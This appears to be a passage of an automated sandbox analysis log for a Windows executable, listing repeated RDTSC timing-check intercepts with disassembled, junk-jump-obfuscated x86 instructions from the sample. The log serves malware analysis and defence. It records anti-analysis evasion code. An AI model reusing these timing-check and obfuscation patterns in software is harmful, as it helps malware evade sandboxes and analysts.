Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C003FE second address: 4C00470 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, E5h 0x00000005 jmp 00007FE1C0B69E42h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 mov al, 51h 0x00000012 push ebx 0x00000013 mov al, 09h 0x00000015 pop edx 0x00000016 popad 0x00000017 mov eax, dword ptr [ebp+08h] 0x0000001a jmp 00007FE1C0B69E3Eh 0x0000001f and dword ptr [eax], 00000000h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FE1C0B69E3Dh 0x0000002b sub si, 3566h 0x00000030 jmp 00007FE1C0B69E41h 0x00000035 popfd 0x00000036 call 00007FE1C0B69E40h 0x0000003b pop ecx 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C00470 second address: 4C004BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0EF51EEh 0x00000008 mov esi, 44302011h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 and dword ptr [eax+04h], 00000000h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushfd 0x00000018 jmp 00007FE1C0EF51F8h 0x0000001d jmp 00007FE1C0EF51F5h 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE05FD second address: 4BE0616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, 80h 0x00000006 popad 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE1C0B69E3Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BE0616 second address: 4BE0653 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE1C0EF51F7h 0x00000009 add eax, 5FA782AEh 0x0000000f jmp 00007FE1C0EF51F9h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C00062 second address: 4C00075 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 mov ah, bl 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, dx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C00262 second address: 4C00281 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop eax 0x00000010 mov esi, ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20656 second address: 4C2065A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C2065A second address: 4C20660 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20660 second address: 4C2067B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C2067B second address: 4C20719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushfd 0x00000006 jmp 00007FE1C0EF51F8h 0x0000000b xor ecx, 5B844B88h 0x00000011 jmp 00007FE1C0EF51EBh 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a movsx edi, ax 0x0000001d mov ah, 27h 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007FE1C0EF51F3h 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 mov esi, 2B2B7CFBh 0x0000002e pushfd 0x0000002f jmp 00007FE1C0EF51F0h 0x00000034 jmp 00007FE1C0EF51F5h 0x00000039 popfd 0x0000003a popad 0x0000003b xchg eax, ecx 0x0000003c jmp 00007FE1C0EF51EEh 0x00000041 push eax 0x00000042 jmp 00007FE1C0EF51EBh 0x00000047 xchg eax, ecx 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b mov ch, 5Dh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20719 second address: 4C207DB instructions: 0x00000000 rdtsc 0x00000002 mov cx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007FE1C0B69E43h 0x0000000d add si, 889Eh 0x00000012 jmp 00007FE1C0B69E49h 0x00000017 popfd 0x00000018 popad 0x00000019 mov eax, dword ptr [778165FCh] 0x0000001e jmp 00007FE1C0B69E3Eh 0x00000023 test eax, eax 0x00000025 jmp 00007FE1C0B69E40h 0x0000002a je 00007FE2336DD023h 0x00000030 jmp 00007FE1C0B69E40h 0x00000035 mov ecx, eax 0x00000037 jmp 00007FE1C0B69E40h 0x0000003c xor eax, dword ptr [ebp+08h] 0x0000003f jmp 00007FE1C0B69E41h 0x00000044 and ecx, 1Fh 0x00000047 pushad 0x00000048 pushfd 0x00000049 jmp 00007FE1C0B69E3Ch 0x0000004e add ax, 9E88h 0x00000053 jmp 00007FE1C0B69E3Bh 0x00000058 popfd 0x00000059 push eax 0x0000005a push edx 0x0000005b mov bl, ah 0x0000005d rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C207DB second address: 4C20836 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE1C0EF51EBh 0x00000008 adc ecx, 11916ACEh 0x0000000e jmp 00007FE1C0EF51F9h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 ror eax, cl 0x00000019 jmp 00007FE1C0EF51EEh 0x0000001e leave 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FE1C0EF51F7h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C20836 second address: 4C2089C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00532014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007FE1C529A69Ch 0x00000024 push FFFFFFFEh 0x00000026 pushad 0x00000027 call 00007FE1C0B69E3Ch 0x0000002c mov edx, esi 0x0000002e pop eax 0x0000002f mov dl, E4h 0x00000031 popad 0x00000032 pop eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FE1C0B69E3Bh 0x0000003c add cx, 804Eh 0x00000041 jmp 00007FE1C0B69E49h 0x00000046 popfd 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C2089C second address: 4C208A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C208A1 second address: 4C208B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE1C0B69E3Dh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C208B4 second address: 4C208C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 ret 0x00000008 nop 0x00000009 push eax 0x0000000a call 00007FE1C5625AABh 0x0000000f mov edi, edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C208C4 second address: 4C208C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4C208C8 second address: 4C208CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0017 second address: 4BD001B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD001B second address: 4BD0021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0021 second address: 4BD0060 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE1C0B69E42h 0x00000009 add al, FFFFFF88h 0x0000000c jmp 00007FE1C0B69E3Bh 0x00000011 popfd 0x00000012 mov ax, E8FFh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FE1C0B69E40h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0060 second address: 4BD0066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0066 second address: 4BD0076 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edi, eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0076 second address: 4BD007B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD007B second address: 4BD00FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 76DA522Eh 0x00000008 pushfd 0x00000009 jmp 00007FE1C0B69E3Fh 0x0000000e and ax, A2DEh 0x00000013 jmp 00007FE1C0B69E49h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov ebp, esp 0x0000001e jmp 00007FE1C0B69E3Eh 0x00000023 and esp, FFFFFFF8h 0x00000026 pushad 0x00000027 push ecx 0x00000028 pushfd 0x00000029 jmp 00007FE1C0B69E3Dh 0x0000002e xor si, 9BC6h 0x00000033 jmp 00007FE1C0B69E41h 0x00000038 popfd 0x00000039 pop ecx 0x0000003a movsx ebx, ax 0x0000003d popad 0x0000003e xchg eax, ecx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD00FB second address: 4BD00FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD00FF second address: 4BD0103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0103 second address: 4BD0109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0109 second address: 4BD0120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE1C0B69E43h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0120 second address: 4BD017A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FE1C0EF51F1h 0x00000011 xchg eax, ecx 0x00000012 jmp 00007FE1C0EF51EEh 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE1C0EF51F7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD017A second address: 4BD0180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0180 second address: 4BD01ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pushfd 0x0000000f jmp 00007FE1C0EF51F2h 0x00000014 sbb cl, 00000018h 0x00000017 jmp 00007FE1C0EF51EBh 0x0000001c popfd 0x0000001d pop eax 0x0000001e jmp 00007FE1C0EF51F9h 0x00000023 popad 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 jmp 00007FE1C0EF51F3h 0x0000002d mov cx, 059Fh 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD01ED second address: 4BD021C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c jmp 00007FE1C0B69E3Eh 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD021C second address: 4BD025D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, esi 0x00000006 popad 0x00000007 pushfd 0x00000008 jmp 00007FE1C0EF51F6h 0x0000000d sub eax, 0F99EA98h 0x00000013 jmp 00007FE1C0EF51EBh 0x00000018 popfd 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FE1C0EF51EBh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD025D second address: 4BD0263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0263 second address: 4BD028D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0EF51F2h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE1C0EF51EDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD028D second address: 4BD0293 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0293 second address: 4BD02A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD02A2 second address: 4BD035C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, dh 0x00000006 popad 0x00000007 push ecx 0x00000008 mov bh, DCh 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FE1C0B69E3Eh 0x00000012 mov dword ptr [esp], edi 0x00000015 pushad 0x00000016 mov esi, 73564E3Dh 0x0000001b mov ecx, 5B5E9139h 0x00000020 popad 0x00000021 test esi, esi 0x00000023 jmp 00007FE1C0B69E44h 0x00000028 je 00007FE233728169h 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FE1C0B69E3Eh 0x00000035 and si, 1E78h 0x0000003a jmp 00007FE1C0B69E3Bh 0x0000003f popfd 0x00000040 push ecx 0x00000041 pushfd 0x00000042 jmp 00007FE1C0B69E3Fh 0x00000047 adc ch, 0000003Eh 0x0000004a jmp 00007FE1C0B69E49h 0x0000004f popfd 0x00000050 pop ecx 0x00000051 popad 0x00000052 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c mov dx, ax 0x0000005f call 00007FE1C0B69E44h 0x00000064 pop eax 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD035C second address: 4BD03BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, 71h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FE233AB34ABh 0x00000010 jmp 00007FE1C0EF51EFh 0x00000015 mov edx, dword ptr [esi+44h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edi 0x0000001c pop ecx 0x0000001d pushfd 0x0000001e jmp 00007FE1C0EF51F7h 0x00000023 adc ax, 6B0Eh 0x00000028 jmp 00007FE1C0EF51F9h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD03BB second address: 4BD03C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, CC22h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD03C4 second address: 4BD03D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 or edx, dword ptr [ebp+0Ch] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD03D4 second address: 4BD03D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD03D8 second address: 4BD03DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD03DE second address: 4BD03E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD03E4 second address: 4BD0413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edx, 61000000h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FE1C0EF51EAh 0x00000017 or cl, FFFFFFE8h 0x0000001a jmp 00007FE1C0EF51EBh 0x0000001f popfd 0x00000020 movzx esi, dx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0413 second address: 4BD0419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BD0419 second address: 4BD0480 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FE233AB344Dh 0x0000000e jmp 00007FE1C0EF51F8h 0x00000013 test byte ptr [esi+48h], 00000001h 0x00000017 jmp 00007FE1C0EF51F0h 0x0000001c jne 00007FE233AB3434h 0x00000022 pushad 0x00000023 mov eax, 606346FDh 0x00000028 movzx esi, di 0x0000002b popad 0x0000002c test bl, 00000007h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov dl, al 0x00000034 call 00007FE1C0EF51F3h 0x00000039 pop ecx 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC077F second address: 4BC0783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0783 second address: 4BC0787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0787 second address: 4BC078D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC078D second address: 4BC0793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0793 second address: 4BC07C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movsx edx, si 0x0000000f pushfd 0x00000010 jmp 00007FE1C0B69E3Eh 0x00000015 add ax, 33D8h 0x0000001a jmp 00007FE1C0B69E3Bh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC07C3 second address: 4BC07E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC07E6 second address: 4BC07EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, AC6Fh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC07EF second address: 4BC086A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C0EF51EBh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov ah, 0Bh 0x0000000f pushfd 0x00000010 jmp 00007FE1C0EF51EDh 0x00000015 adc eax, 4A8A4786h 0x0000001b jmp 00007FE1C0EF51F1h 0x00000020 popfd 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FE1C0EF51F3h 0x0000002d adc esi, 187846BEh 0x00000033 jmp 00007FE1C0EF51F9h 0x00000038 popfd 0x00000039 mov eax, 21DA4407h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC086A second address: 4BC0870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC0870 second address: 4BC088E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0EF51EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and esp, FFFFFFF8h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC088E second address: 4BC08A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC08A9 second address: 4BC08E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE1C0EF51EFh 0x00000009 jmp 00007FE1C0EF51F3h 0x0000000e popfd 0x0000000f mov bx, cx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, ebx 0x00000016 pushad 0x00000017 mov ebx, eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FE1C0EF51EAh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC08E6 second address: 4BC08EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC08EA second address: 4BC095C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FE1C0EF51F7h 0x0000000f sbb cl, FFFFFF9Eh 0x00000012 jmp 00007FE1C0EF51F9h 0x00000017 popfd 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FE1C0EF51EEh 0x0000001f xor al, FFFFFF98h 0x00000022 jmp 00007FE1C0EF51EBh 0x00000027 popfd 0x00000028 mov bh, ah 0x0000002a popad 0x0000002b popad 0x0000002c xchg eax, ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FE1C0EF51EEh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe	RDTSC instruction interceptor: First address: 4BC095C second address: 4BC0983 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C0B69E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE1C0B69E45h 0x00000011 rdtsc
